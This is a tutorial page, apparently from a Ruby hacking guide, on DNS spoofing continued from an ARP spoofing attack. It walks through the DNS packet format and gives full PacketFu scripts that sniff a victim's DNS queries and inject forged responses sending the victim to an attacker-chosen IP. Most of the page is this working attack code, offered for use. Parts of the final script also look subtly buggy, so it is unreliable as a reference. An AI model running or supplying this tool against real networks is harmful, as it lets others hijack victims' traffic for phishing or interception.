Primary version
Twitter Github NEW! Black Hat Ruby Buy Me a Coffee

DNS Spoofing

Continuing our attack through ARP Spoofing, we want to change the victim's DNS request to whatever destination we like.

Scenario

                |Attacker|
                    | AttackerSite
                    ٧                      AttackerSite
|Victim| ----------/ \----------> |Router| ----------> Internet
          AnySite      AttackerSite

Keep the ARP spoof attack running

The same IPs of ARP spoof attack

Host

IP Address

Attacker

192.168.0.100

Victim

192.168.0.21

Router

192.168.0.1

Now we cant intercept DNS Query packet coming from victim's machine. Since PacketFu supports filters in capturing (to reduce mount of captured packets) we'll use udp and port 53 and host filter, then we'll inspect the captured packet to ensure that it's a query then find the requested domain. Download DNS packet.

From Wireshark, if we take a deeper look at the DNS query payload in Domain Name System (query), we can see its been presented in hexadecimal format.

Figure 1. DNS query Payload

Let's to anatomize our payload

0000   e7 1d 01 00 00 01 00 00 00 00 00 00 07 74 77 69
0010   74 74 65 72 03 63 6f 6d 00 00 01 00 01

  • The First 2 bytes is the Transaction ID and we don't care about it for now. (Our case: \xe7\x1d)

  • The next 2 bytes is the Flags. (We need: \x01\x00 = \x10)

  • Furthermore, in Queries section which contains

0000   07 74 77 69 74 74 65 72 03 63 6f 6d 00 00 01 00
0010   01

  • The Queries starts at 13 byte of the payload.

    • The 13th byte specifies the length of the domain name before the very first dot (without last dot com or whatever the top domain is). (Our case: \x07) Try:[%w{ 74 77 69 74 74 65 72 }.join].pack("H*")

      • Notice The domain name of "twitter.com" equals \x07 but "www.twitter.com" equals \x03 the same consideration for subdomains

      • Each dot after first dot will be replaced with the length of the followed characters

        e.g. www.google.co.uk

        • First length (www) => will be replaced with \x03

        • First dot(.google) => will be replaced with \x06

        • Second dot(.co) => will be replaced with \x02

        • Third dot(.uk) => will be replaced with \x02

    • The very end of the domain name string is terminated by a \x00.

    • The next 2 bytes refers to the type of the query. (Our case: \x00\x01)

Now what?!

  • We need to start capturing/sniffing on specific interface

  • We need to enable promiscuous mode on our interface

  • We need to capture UDP packets on port 53 only

  • We need parse/analyze the valid UDP packets only

  • We need to make sure this packet is a DNS query

  • We need to get the queried/requested domain

    • We need to know the domain length

    • We need to get the FQDN

  • Build a DNS response

  • Replace the requested domain with any domain we want

  • Re inject the packet into victim connection and send

I'll divide our tasks then wrap it up in one script

#!/usr/bin/env ruby
#
require 'packetfu'

include PacketFu

#
# * We need to start capturing/sniffing on specific interface
# * We need to enable promiscuous mode on our interface
# * We need to capture UDP packets on port 53 only
#
filter = "udp and port 53 and host " + "192.168.0.21"
capture = Capture.new(:iface => "wlan0",:start => true, :promisc => true, :filter => filter, :save => true)

# * We need to get the queried/requested domain
#    * We need to know the domain length
#    * We need to get the FQDN
#
# Convert DNS Payload to readable - Find The FQDN
#
def readable(raw_domain)
  # Prevent processing non domain
  if raw_domain[0].ord == 0
    puts "ERROR : THE RAW STARTS WITH 0"
    return raw_domain[1..-1]
  end

  fqdn = ""
  length_offset = raw_domain[0].ord
  full_length   = raw_domain[ 0..length_offset ].length
  domain_name   = raw_domain[(full_length - length_offset)..length_offset]

  while length_offset != 0
    fqdn << domain_name + "."
    length_offset = raw_domain[full_length].ord
    domain_name   = raw_domain[full_length + 1..full_length + length_offset]
    full_length   = raw_domain[0..full_length + length_offset].length
  end

  return fqdn.chomp!('.')
end

# * We need parse/analyze the valid UDP packets only
# * We need to make sure this packet is a DNS query
#
# Find the DNS packets
#
capture.stream.each do |pkt|
  # Make sure we can parse the packet; if we can, parse it
  if UDPPacket.can_parse?(pkt)
    @packet = Packet.parse(pkt)

    # Make sure we have a query packet
    dns_query = @packet.payload[2..3].to_s

    if dns_query == "\x01\x00"
      # Get the domain name into a readable format
      domain_name = @packet.payload[12..-1].to_s # FULL QUERY
      fqdn = readable(domain_name)

      # Ignore non query packet
      next if domain_name.nil?

      puts "DNS request for: " + fqdn
    end
  end
end

Till now we successfully finished ARP Spoofing then DNS capturing but still we need to replace/spoof the original response to our domain. e.g. attacker.zone, now we have to build a DNS response instead of spoofed to be sent. So what we need?

  • taking the IP we are going to redirect the user to (the spoofing_ip)

    • converting it into hex using the to_i and pack methods.

  • From there we create a new UDP packet using the data contained in @ourInfo (IP and MAC) and fill in the normal UDP fields.

    • I take most of this information straight from the DNS Query packet.

  • The next step is to create the DNS Response.

    • the best way to understand the code here is to look at a DNS header and then

    • take the bit map of the HEX values and apply them to the header.

    • This will let you see what flags are being set.

  • From here, we just calculate the checksum for the UDP packet and send it out to the target's machine.

Figure 2. DNS Response Payload

spoofing_ip = "69.171.234.21"
spoofing_ip.split('.').map {|octet| octet.to_i}.pack('c*')

  response = UDPPacket.new(:config => PacketFu::Utils.ifconfig("wlan0"))
  response.udp_src   = packet.udp_dst
  response.udp_dst   = packet.udp_src
  response.ip_saddr  = packet.ip_daddr
  response.ip_daddr  = "192.168.0.21"
  response.eth_daddr = "00:0C:29:38:1D:61"

Wrapping up

#!/usr/bin/env ruby
# -*- coding: binary -*-

# Start the capture process
require 'packetfu'
require 'pp'
include PacketFu


def readable(raw_domain)

  # Prevent processing non domain
  if raw_domain[0].ord == 0
    puts "ERROR : THE RAW STARTS WITH 0"
    return raw_domain[1..-1]
  end

  fqdn = ""
  length_offset = raw_domain[0].ord
  full_length   = raw_domain[ 0..length_offset ].length
  domain_name   = raw_domain[(full_length - length_offset)..length_offset]

  while length_offset != 0
    fqdn << domain_name + "."
    length_offset = raw_domain[full_length].ord
    domain_name   = raw_domain[full_length + 1 .. full_length + length_offset]
    full_length   = raw_domain[0 .. full_length + length_offset].length
  end

  return fqdn.chomp!('.')
end

#
# Send Response
#
def spoof_response(packet, domain)

  attackerdomain_name = 'rubyfu.net'
  attackerdomain_ip   = '54.243.253.221'.split('.').map {|oct| oct.to_i}.pack('c*')  # Spoofing IP

  # Build UDP packet
  response = UDPPacket.new(:config => PacketFu::Utils.ifconfig("wlan0"))
  response.udp_src   = packet.udp_dst             # source port
  response.udp_dst   = packet.udp_src             # destination port
  response.ip_saddr  = packet.ip_daddr            # modem's IP address to be source
  response.ip_daddr  = packet.ip_saddr            # victim's IP address to be destination
  response.eth_daddr = packet.eth_saddr           # the victim's MAC address
  response.payload   = packet.payload[0,1]        # Transaction ID
  response.payload  += "\x81\x80"                 # Flags: Reply code: No error (0)
  response.payload  += "\x00\x01"                 # Question: 1
  response.payload  += "\x00\x00"                 # Answer RRs: 0
  response.payload  += "\x00\x00"                 # Authority RRs: 0
  response.payload  += "\x00\x00"                 # Additional RRs: 0
  response.payload  += attackerdomain_name.split('.').map do |section| # Queries | Name: , Convert domain to DNS style(the opposite of readable method)
    [section.size.chr, section.chars.map {|c| '\x%x' % c.ord}.join]
  end.join + "\x00"
  response.payload  += "\x00\x01"                 # Queries | Type: A (Host address)
  response.payload  += "\x00\x01"                 # Queries | Class: IN (0x0001)
  response.payload  += "\xc0\x0c"                 # Answer | Name: twitter.com
  response.payload  += "\x00\x01"                 # Answer | Type: A (Host address)
  response.payload  += "\x00\x01"                 # Answer | Class: IN (0x0001)
  response.payload  += "\x00\x00\x00\x25"         # Answer | Time to live: 37 seconds
  response.payload  += "\x00\x04"                 # Answer | Data length: 4
  response.payload  += attackerdomain_ip          # Answer | Addr
  response.recalc                                 # Calculate the packet
  response.to_w(response.iface)                   # Send the packet through our interface
end

filter = "udp and port 53 and host " + "192.168.0.21"
@capture = Capture.new(:iface => "wlan0", :start => true, :promisc => true, :filter => filter, :save => true)
# Find the DNS packets
@capture.stream.each do |pkt|
  # Make sure we can parse the packet; if we can, parse it
  if UDPPacket.can_parse?(pkt)
    packet = Packet.parse(pkt)

    # Get the offset of the query type: (request=\x01\x00, response=\x81\x80)
    dns_query = packet.payload[2..3].to_s

    # Make sure we have a dns query packet
    if dns_query == "\x01\x00"
      # Get the domain name into a readable format
      domain_name = packet.payload[12..-1].to_s # FULL DOMAIN
      fqdn = readable(domain_name)
      # Ignore non query packet
      next if domain_name.nil?
      puts "DNS request for: " + fqdn

    end
    # Make sure we have a dns reply packet
    if dns_query == "\x81\x80"
      domain_name = packet.payload[12..-1].to_s # FULL DOMAIN
      fqdn = readable(domain_name)
      puts "[*] Start Spoofing: " + fqdn
      spoof_response packet, domain_name
    end

  end
end

https://github.com/SilverFoxx/Spoofa/blob/master/spoofa

Sources - The code has been modified and fixed

Bit

Flag

Description

Reference

bit 5

AA

Authoritative Answer

[RFC1035]

bit 6

TC

Truncated Response

[RFC1035]

bit 7

RD

Recursion Desired

[RFC1035]

bit 8

RA

Recursion Allowed

[RFC1035]

bit 9

Reserved

bit 10

AD

Authentic Data

[RFC4035]

bit 11

CD

Checking Disabled

[RFC4035]

Type

Value

Description

A

1

IP Address

NS

2

Name Server

CNAME

5

Alias of a domain name

PTR

12

Reverse DNS Lookup using the IP Address

HINFO

13

Host Information

MX

15

MX Record

AXFR

252

Request for Zone Transfer

ANY

255

Request for All Records

PreviousARP SpoofingNextMiTM Attack

Last updated